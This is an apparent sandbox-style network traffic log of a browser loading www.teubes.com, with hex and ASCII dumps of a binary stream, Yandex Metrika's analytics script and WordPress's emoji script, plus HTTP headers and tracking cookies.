2025-03-17 12:02:32 UTC	1390	IN	Data Raw: 99 f8 88 e4 ca 6b 1b 67 6f ba f2 84 00 d0 73 81 08 98 4c 86 4a 39 45 a2 74 ed 88 28 21 60 cc b9 07 59 74 d0 53 d1 b7 c6 78 04 82 00 d2 b0 2c d6 98 67 41 cf 05 22 60 cc 41 f4 85 4b 45 5f ec 18 02 c6 a4 5b f4 57 84 7b c5 8a e8 b2 b2 1d 58 a2 9c 9e 4b 91 35 ea b9 04 11 2e 30 ae d5 c9 06 ac 0e f6 81 00 78 67 30 91 c5 14 2e 1d 58 a2 6c ce 23 92 29 ac 3b 45 5f 48 8c 3f f6 17 a4 57 b8 c4 7b 2e 08 17 38 6a 06 73 95 5e 37 09 80 37 60 fa 57 88 52 f8 37 04 8c 39 4b 94 45 29 f6 5d 49 65 78 a6 00 d2 2a 5c d0 73 81 e3 04 4c c8 e6 54 3f 11 00 6f c0 84 5f 15 bd d1 93 08 18 93 1a fc 52 74 27 95 c8 a6 0a 20 3d c2 a5 38 30 c7 52 20 ff 8a 70 81 e3 04 4c 38 cb a9 79 05 c0 07 0d 8a ab c8 53 08 98 54 8d e8 1e 6f f8 06 f9 a1 cb d7 ff 94 00 d2 20 5c d8 9c a9 76 f6 13 7a 2e f0 0e Data Ascii: kgosLJ9Et(!`YtSx,gA"`AKE_[W{XK5.0xg0.Xl#);E_H?W{.8js^77`WR79KE)]Iex*\sLT?o_Rt' =80R pL8ySTo \vz.
2025-03-17 12:02:32 UTC	1390	IN	Data Raw: 17 b7 dd 21 e4 02 00 08 86 c4 9c b9 8c f9 3b 72 01 00 04 43 e2 c4 ed 34 e9 8c 0f 0e 0e b2 2c 06 00 08 86 c4 ad b9 38 c8 05 00 10 0c 89 26 17 6a 2e 00 80 60 48 f4 65 31 6a 2e 00 80 60 48 f4 99 0b 35 17 00 40 30 a4 34 72 61 e6 02 00 08 86 44 af b9 48 3a 8c 5c 20 90 65 d9 fc 04 00 c1 90 18 cf b9 b0 5b 0c a6 09 67 cc 59 30 db 3b 3a 3a 16 25 00 08 86 b0 15 19 62 d1 d7 d7 57 ef d3 1b c6 fd 2a 86 26 24 03 08 86 50 73 81 28 b4 b5 b5 2d 93 74 73 78 78 38 ec 28 9c 70 ff 38 c9 a9 d9 80 60 c8 1f d5 5c 24 3d f2 a9 c8 d4 5c e0 07 cd cd cd f3 dc 37 4e 85 ad ea df cf a0 2b 48 9a 70 1a 99 c9 00 82 21 bf 4c f8 df 53 73 81 62 a4 69 ba de e3 73 34 88 25 f4 95 19 92 79 e3 ef 27 98 c9 00 82 21 b9 91 34 15 17 70 cf 38 4b 13 80 ef 84 9b 0d f7 91 8b 33 e4 32 4b 32 1e b3 af 79 83 Data Ascii: !;rC4,8&j.`He1j.`H5@04raDH:\ e[gY0;::%bW*&$Ps(-tsxx8(p8`\$=\7N+Hp!LSsbis4%y'!4p8K32K2y
2025-03-17 12:02:32 UTC	1390	IN	Data Raw: 4d 91 fd f2 9d 6b 59 ee f6 7a 3a bc bf 7c bb d5 63 7f 09 91 f9 c0 63 c5 5a 44 06 43 60 a0 e4 29 cd 3e 1e 77 1f e8 f5 40 7a 5f 5f 5f df f2 9e 9e 9e cb 33 19 84 c5 2c b3 97 b7 c5 ed 73 50 d2 29 b7 55 bd ff 28 09 91 19 71 3f 59 83 c8 60 08 0c 94 9c 9f c9 e7 13 26 24 ed 77 8e e1 09 7b 35 2b f3 93 01 ea 69 20 89 12 2f 8d 21 2c 16 da 47 25 bd 67 fe cc 4f 92 a8 fb 7e 52 10 19 49 c3 23 23 23 eb 10 19 0c 81 81 b9 78 34 53 3e 7e 22 69 bb 69 1d 1d 1d 5d 9a f7 6a 2e aa d5 bd 5a 62 ca b1 eb b8 35 d9 63 79 d2 9f 7d 50 d2 1f 08 4b d1 75 32 39 1f 87 c3 93 61 da 3b 86 c0 c0 5c a7 36 07 87 dd 37 de 70 1f 79 cc ac 8d 15 eb 31 fb 2c 06 96 1a d8 17 bf d1 9f e9 6a 49 77 f8 73 ef 8c 15 ec 92 72 f1 d9 f9 3e 94 24 32 43 ee 0f ab f1 64 30 04 06 e6 2c 34 81 a4 d3 ee 27 df 98 d7 25 Data Ascii: MkYz:\|ccZDC`)>w@z___3,sP)U(q?Y`&$w{5+i /!,G%gO~RI###x4S>~"ii]j.Zb5cy}PKu29a;\67py1,jIwsr>$2Cd0,4'%
2025-03-17 12:02:32 UTC	1390	IN	Data Raw: fd e5 44 34 46 20 10 8c e6 ff 5e 06 f8 7b b6 b9 96 c5 ae 15 9f 35 76 59 c1 a1 d7 8b 82 0d cd 64 56 f7 63 fb 32 00 71 3b 73 b1 05 73 9e fb 9f 10 d1 38 81 40 30 ba e5 c2 1c e5 fe 0a b7 5c ae 9d 59 79 d6 b8 0f 0a 9b df 2d 32 ea 7f 97 2a 84 33 32 00 c4 a1 5c 78 59 fc 22 f7 f3 89 28 45 20 10 8c 07 72 f9 83 bf 5f 3a 11 4d 16 37 98 d4 cf ac 94 74 df c1 2c bf 51 7f 9c 54 15 24 03 40 7c cd 5c da b9 f5 0f 8f 7d 04 82 d1 5d 73 b1 e5 c2 fd 8c 91 fc 82 3d 99 dd 39 31 a3 e8 e0 ea 52 d9 70 5c aa ca 41 48 06 80 b8 98 b9 74 70 3f 10 0c 06 ef 17 08 04 e3 45 cd c5 96 4b 20 10 98 22 46 98 39 9f 76 dd b3 d2 df bc 76 9b b1 eb 94 54 38 ed 0f c0 28 97 4b 27 b7 c1 48 24 f2 80 40 20 18 0f 96 c5 6c b9 ac 70 e4 a2 23 4f e7 74 df 9b e9 fb 65 3d 4b e6 0c 99 21 cc 64 00 18 85 72 61 ba Data Ascii: D4F ^{5vYdVc2q;ss8@0\Yy-2*32\xY"(E r_:M7t,QT$@\|\}]s=91Rp\AHtp?EK "F9vvT8(K'H$@ lp#Ote=K!dra

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:32 UTC	565	OUT	GET /metrika/tag.js HTTP/1.1 Host: mc.yandex.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:32 UTC	1594	IN	HTTP/1.1 200 OK Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=3600 Connection: Close Content-Length: 227352 Content-Type: application/javascript Date: Mon, 17 Mar 2025 12:02:32 GMT ETag: "67d7ce60-37818" Expires: Mon, 17 Mar 2025 13:02:32 GMT Last-Modified: Mon, 17 Mar 2025 07:25:20 GMT Set-Cookie: _yasc=tbFp+QsQgH1cZqWhK+ZjcSl5M7MZ/gg+NL8ihqEDkC2XQH3taRWijackUtt/fsD7ty4=; domain=.yandex.ru; path=/; expires=Thu, 15 Mar 2035 12:02:32 GMT; secure Set-Cookie: i=ezBB1x8u5kjCFPOGPkbghqfIaoviaf34by6AwGODOwe41AqAxYv9unq0g/3jEB4sUtytNACLCy0ogTndCCQT3SEyNUk=; Expires=Wed, 17-Mar-2027 12:02:32 GMT; Domain=.yandex.ru; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: yandexuid=9938944691742212952; Expires=Wed, 17-Mar-2027 12:02:32 GMT; Domain=.yandex.ru; Path=/; Secure; SameSite=None Set-Cookie: yashr=4971935051742212952; Path=/; Domain=.yandex.ru; Expires=Tue, 17 Mar 2026 12:02:32 GMT; SameSite=None; Secure; HttpOnly Set-Cookie: bh=EkEiQ2hyb21pdW0iO3Y9IjEzNCIsICJOb3Q6QS1CcmFuZCI7dj0iMjQiLCAiR29vZ2xlIENocm9tZSI7dj0iMTM0IioCPzA6CSJXaW5kb3dzImDYnuC+Bmoe3Mrh/wiS2KGxA5/P4eoD+/rw5w3r//32D8eDzocI; Path=/; Domain=.yandex.ru; Expires=Tue, 21 Apr 2026 12:02:32 GMT; SameSite=None; Secure Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: *
2025-03-17 12:02:32 UTC	5320	IN	Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 71 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e Data Ascii: (function(){var n;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function q(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if("number"==typeof a.length)return
2025-03-17 12:02:32 UTC	8168	IN	Data Raw: 61 70 70 6c 79 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 2e 61 70 70 6c 79 28 62 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 20 64 7d 66 75 6e 63 74 69 6f 6e 20 67 62 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 63 3f 61 3a 62 7d 76 61 72 20 68 62 3d 45 28 5b 31 2c 6e 75 6c 6c 5d 2c 67 62 29 2c 69 62 3d 45 28 5b 31 2c 30 5d 2c 67 62 29 2c 6a 62 3d 42 6f 6f 6c 65 61 6e 2c 6b 62 3d 78 61 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 6c 74 65 72 2c 22 66 69 6c 74 65 72 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6c 62 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 59 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 65 29 7b 61 28 64 2c 65 29 26 26 63 2e 70 75 73 Data Ascii: apply)return function(){return d.apply(b,arguments)}}catch(e){return c}return d}function gb(a,b,c){return c?a:b}var hb=E([1,null],gb),ib=E([1,0],gb),jb=Boolean,kb=xa(Array.prototype.filter,"filter");function lb(a,b){return Ya(function(c,d,e){a(d,e)&&c.pus
2025-03-17 12:02:33 UTC	8168	IN	Data Raw: 6c 28 6b 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 64 28 68 2c 6d 29 7d 2c 63 29 3b 72 65 74 75 72 6e 7d 7d 65 5b 68 5d 3d 6b 3b 30 3d 3d 3d 2d 2d 66 26 26 62 28 65 29 7d 63 61 74 63 68 28 6d 29 7b 63 28 6d 29 7d 7d 69 66 28 21 61 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 63 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 61 6c 6c 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 76 61 72 20 65 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 3b 69 66 28 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 62 28 5b 5d 29 3b 66 6f 72 28 76 61 72 20 66 3d 65 2e 6c 65 6e 67 74 68 2c 67 3d 30 3b 67 3c 65 Data Ascii: l(k,function(m){d(h,m)},c);return}}e[h]=k;0===--f&&b(e)}catch(m){c(m)}}if(!a\|\|"undefined"===typeof a.length)return c(new TypeError("Promise.all accepts an array"));var e=Array.prototype.slice.call(a);if(0===e.length)return b([]);for(var f=e.length,g=0;g<e
2025-03-17 12:02:33 UTC	8168	IN	Data Raw: 29 3b 31 45 33 3d 3d 3d 63 2e 6c 65 6e 67 74 68 26 26 63 2e 73 68 69 66 74 28 29 3b 63 2e 70 75 73 68 28 62 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 47 65 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 58 64 28 61 29 2c 65 3d 63 2e 65 61 2c 66 3d 63 2e 62 61 2c 67 3d 63 2e 24 61 2c 68 3d 63 2e 61 62 3b 63 3d 63 2e 55 63 3b 76 61 72 20 6b 3d 7b 7d 2c 6c 3d 7b 7d 2c 6d 3d 7b 7d 3b 46 65 28 61 2c 28 6d 2e 6e 61 6d 65 3d 22 72 65 71 75 65 73 74 22 2c 6d 2e 64 61 74 61 3d 28 6c 2e 75 72 6c 3d 62 2c 6c 2e 72 65 71 75 65 73 74 49 64 3d 64 2c 6c 2e 73 65 6e 64 65 72 50 61 72 61 6d 73 3d 28 6b 2e 72 42 6f 64 79 3d 66 2c 6b 2e 64 65 62 75 67 53 74 61 63 6b 3d 65 2c 6b 2e 72 48 65 61 64 65 72 73 3d 67 2c 6b 2e 72 51 75 65 72 79 3d 68 2c 6b 2e 76 65 72 62 3d 63 2c 6b 29 2c Data Ascii: );1E3===c.length&&c.shift();c.push(b)}}function Ge(a,b,c){var d=Xd(a),e=c.ea,f=c.ba,g=c.$a,h=c.ab;c=c.Uc;var k={},l={},m={};Fe(a,(m.name="request",m.data=(l.url=b,l.requestId=d,l.senderParams=(k.rBody=f,k.debugStack=e,k.rHeaders=g,k.rQuery=h,k.verb=c,k),
2025-03-17 12:02:33 UTC	8168	IN	Data Raw: 61 29 7b 61 3d 4a 28 61 2c 22 64 6f 63 75 6d 65 6e 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 7d 63 61 74 63 68 28 62 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 52 66 28 61 29 7b 76 61 72 20 62 3d 4a 28 61 2c 22 64 6f 63 75 6d 65 6e 74 22 29 7c 7c 7b 7d 2c 63 3d 62 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 22 43 53 53 31 43 6f 6d 70 61 74 22 3d 3d 3d 62 2e 63 6f 6d 70 61 74 4d 6f 64 65 3f 63 3a 51 66 28 61 29 7c 7c 63 7d 66 75 6e 63 74 69 6f 6e 20 53 66 28 61 29 7b 76 61 72 20 62 3d 4a 28 61 2c 22 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 2e 77 69 64 74 68 22 29 2c 63 3d 4a 28 61 2c 22 76 69 73 75 61 Data Ascii: a){a=J(a,"document");try{return a.getElementsByTagName("body")[0]}catch(b){return null}}function Rf(a){var b=J(a,"document")\|\|{},c=b.documentElement;return"CSS1Compat"===b.compatMode?c:Qf(a)\|\|c}function Sf(a){var b=J(a,"visualViewport.width"),c=J(a,"visua
2025-03-17 12:02:33 UTC	8168	IN	Data Raw: 6e 20 6e 75 6c 6c 3b 62 3d 4f 28 62 29 3b 61 3d 47 66 28 61 2c 62 29 3b 62 3d 28 61 2e 43 28 22 72 65 71 4e 75 6d 22 2c 30 29 7c 7c 30 29 2b 31 3b 61 2e 44 28 22 72 65 71 4e 75 6d 22 2c 62 29 3b 69 66 28 61 2e 43 28 22 72 65 71 4e 75 6d 22 29 3d 3d 3d 62 29 72 65 74 75 72 6e 20 62 3b 61 2e 6a 63 28 22 72 65 71 4e 75 6d 22 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 53 67 2e 75 3d 4d 67 2c 53 67 2e 77 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 71 28 54 66 28 61 29 29 3b 61 3d 62 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 3b 62 3d 62 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 2b 22 78 22 2b 0a 62 7d 2c 53 67 2e 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 4a 28 61 2c 22 73 63 72 65 65 6e 22 29 3b 69 66 28 62 Data Ascii: n null;b=O(b);a=Gf(a,b);b=(a.C("reqNum",0)\|\|0)+1;a.D("reqNum",b);if(a.C("reqNum")===b)return b;a.jc("reqNum");return null},Sg.u=Mg,Sg.w=function(a){var b=q(Tf(a));a=b.next().value;b=b.next().value;return a+"x"+b},Sg.s=function(a){var b=J(a,"screen");if(b
2025-03-17 12:02:33 UTC	8168	IN	Data Raw: 2e 42 65 3b 62 2e 68 64 26 26 66 2e 48 26 26 28 66 2e 48 2e 6e 6f 68 69 74 3d 22 31 22 29 3b 72 65 74 75 72 6e 20 63 28 66 2c 62 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 68 29 7b 69 66 28 68 29 7b 69 66 28 21 62 2e 68 64 29 7b 76 61 72 20 6b 3d 7b 7d 3b 24 68 28 61 2c 62 2c 22 68 22 2c 28 6b 2e 69 64 3d 62 2e 69 64 2c 6b 2e 75 72 6c 3d 64 2c 6b 2e 72 65 66 3d 65 2c 6b 29 2c 62 2e 4f 29 28 29 7d 61 69 28 61 2c 45 28 5b 61 2c 62 2c 68 5d 2c 56 68 29 29 7d 7d 29 5b 22 63 61 74 63 68 22 5d 28 56 28 61 2c 22 68 2e 67 2e 73 22 29 29 7d 29 3b 0a 66 75 6e 63 74 69 6f 6e 20 63 69 28 61 2c 62 2c 63 29 7b 74 72 79 7b 69 66 28 41 28 62 29 29 7b 76 61 72 20 64 3d 71 28 48 61 28 61 72 67 75 6d 65 6e 74 73 29 29 3b 64 2e 6e 65 78 74 28 29 3b 64 2e 6e 65 78 74 28 Data Ascii: .Be;b.hd&&f.H&&(f.H.nohit="1");return c(f,b).then(function(h){if(h){if(!b.hd){var k={};$h(a,b,"h",(k.id=b.id,k.url=d,k.ref=e,k),b.O)()}ai(a,E([a,b,h],Vh))}})["catch"](V(a,"h.g.s"))});function ci(a,b,c){try{if(A(b)){var d=q(Ha(arguments));d.next();d.next(
2025-03-17 12:02:33 UTC	8168	IN	Data Raw: 72 20 63 6a 3d 7b 43 69 3a 57 61 28 2f 5b 2f 26 3d 3f 23 5d 2f 29 7d 2c 64 6a 3d 57 28 22 67 6f 2e 69 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 63 3d 76 6f 69 64 20 30 3d 3d 3d 63 3f 22 67 6f 61 6c 22 3a 63 3b 76 61 72 20 65 3d 7b 7d 3b 72 65 74 75 72 6e 20 65 2e 72 65 61 63 68 47 6f 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 6b 29 7b 69 66 28 21 66 7c 7c 63 6a 5b 63 5d 26 26 63 6a 5b 63 5d 28 66 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 6c 3d 67 2c 6d 3d 68 7c 7c 75 3b 41 28 67 29 26 26 28 6d 3d 67 2c 6c 3d 76 6f 69 64 20 30 2c 6b 3d 68 29 3b 67 3d 7b 7d 3b 76 61 72 20 70 3d 24 68 28 61 2c 62 2c 22 67 72 22 2c 28 67 2e 69 64 3d 62 2e 69 64 2c 67 2e 67 6f 61 6c 3d 66 2c 67 29 2c 6c 29 2c 72 3d 22 67 6f 61 6c 22 Data Ascii: r cj={Ci:Wa(/[/&=?#]/)},dj=W("go.in",function(a,b,c,d){c=void 0===c?"goal":c;var e={};return e.reachGoal=function(f,g,h,k){if(!f\|\|cj[c]&&cj[c](f))return null;var l=g,m=h\|\|u;A(g)&&(m=g,l=void 0,k=h);g={};var p=$h(a,b,"gr",(g.id=b.id,g.goal=f,g),l),r="goal"
2025-03-17 12:02:33 UTC	8168	IN	Data Raw: 74 68 3b 66 2b 3d 31 29 69 66 28 64 3d 3d 3d 28 61 5b 66 5d 26 26 61 5b 66 5d 2e 6e 6f 64 65 4e 61 6d 65 29 29 7b 69 66 28 62 3d 3d 3d 61 5b 66 5d 29 72 65 74 75 72 6e 20 65 3b 63 26 26 61 5b 66 5d 3d 3d 3d 63 7c 7c 28 65 2b 3d 31 29 7d 7d 72 65 74 75 72 6e 20 30 7d 76 61 72 20 4c 6a 3d 78 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 35 39 2c 62 3d 7b 7d 2c 63 3d 30 3b 63 3c 70 66 2e 6c 65 6e 67 74 68 3b 63 2b 3d 31 29 62 5b 70 66 5b 63 5d 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 61 29 2c 61 2b 3d 31 3b 72 65 74 75 72 6e 20 62 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 6a 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 22 22 2c 65 3d 4c 6a 28 29 2c 66 3d 59 66 28 62 29 7c 7c 22 2a 22 3b 62 26 26 62 2e 70 61 Data Ascii: th;f+=1)if(d===(a[f]&&a[f].nodeName)){if(b===a[f])return e;c&&a[f]===c\|\|(e+=1)}}return 0}var Lj=x(function(){for(var a=59,b={},c=0;c<pf.length;c+=1)b[pf[c]]=String.fromCharCode(a),a+=1;return b});function Mj(a,b,c){for(var d="",e=Lj(),f=Yf(b)\|\|"*";b&&b.pa
2025-03-17 12:02:33 UTC	8168	IN	Data Raw: 54 45 52 5f 41 43 43 45 50 54 3a 61 2e 4e 6f 64 65 46 69 6c 74 65 72 2e 46 49 4c 54 45 52 5f 52 45 4a 45 43 54 3a 61 2e 4e 6f 64 65 46 69 6c 74 65 72 2e 46 49 4c 54 45 52 5f 41 43 43 45 50 54 7d 65 3d 76 6f 69 64 20 30 3d 3d 3d 65 3f 2d 31 3a 65 3b 66 3d 76 6f 69 64 20 30 3d 3d 3d 66 3f 21 31 3a 66 3b 76 61 72 20 68 3d 67 28 62 29 3b 69 66 28 41 28 63 29 26 26 28 66 7c 7c 68 3d 3d 3d 61 2e 4e 6f 64 65 46 69 6c 74 65 72 2e 46 49 4c 54 45 52 5f 41 43 43 45 50 54 29 26 26 28 68 26 26 63 28 62 29 2c 21 48 66 28 62 29 29 29 66 6f 72 28 62 3d 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 72 65 65 57 61 6c 6b 65 72 28 62 2c 65 2c 64 3f 7b 61 63 63 65 70 74 4e 6f 64 65 3a 67 7d 3a 6e 75 6c 6c 2c 21 31 29 3b 62 2e 6e 65 78 74 4e 6f 64 65 28 29 26 26 21 31 Data Ascii: TER_ACCEPT:a.NodeFilter.FILTER_REJECT:a.NodeFilter.FILTER_ACCEPT}e=void 0===e?-1:e;f=void 0===f?!1:f;var h=g(b);if(A(c)&&(f\|\|h===a.NodeFilter.FILTER_ACCEPT)&&(h&&c(b),!Hf(b)))for(b=a.document.createTreeWalker(b,e,d?{acceptNode:g}:null,!1);b.nextNode()&&!1

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:32 UTC	621	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=6.1.7 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
2025-03-17 12:02:33 UTC	297	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 11 Oct 2022 14:42:03 GMT ETag: "48b9-5eac3478c58d5" Accept-Ranges: bytes Content-Length: 18617 Vary: Accept-Encoding Content-Type: application/javascript
2025-03-17 12:02:33 UTC	7895	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 76 2f 31 34 2e 30 2e 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typ
2025-03-17 12:02:33 UTC	8000	IN	Data Raw: 64 66 66 65 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 64 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 65 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 38 5c 75 64 63 36 39 5d 7c 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 Data Ascii: dffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]\|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]\|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68\|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]\|\ud83e\uddd1\u200d\ud83e\udd1d\u200
2025-03-17 12:02:33 UTC	2722	IN	Data Raw: 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 2c 61 3d 63 2e 64 6f 63 75 6d 65 6e 74 2c 74 3d 21 31 2c 72 3d 30 2c 6f 3d 30 3c 63 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 2e 30 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 21 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 7c 7c 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 53 56 47 31 31 2f 66 65 61 74 75 72 65 23 49 6d 61 67 65 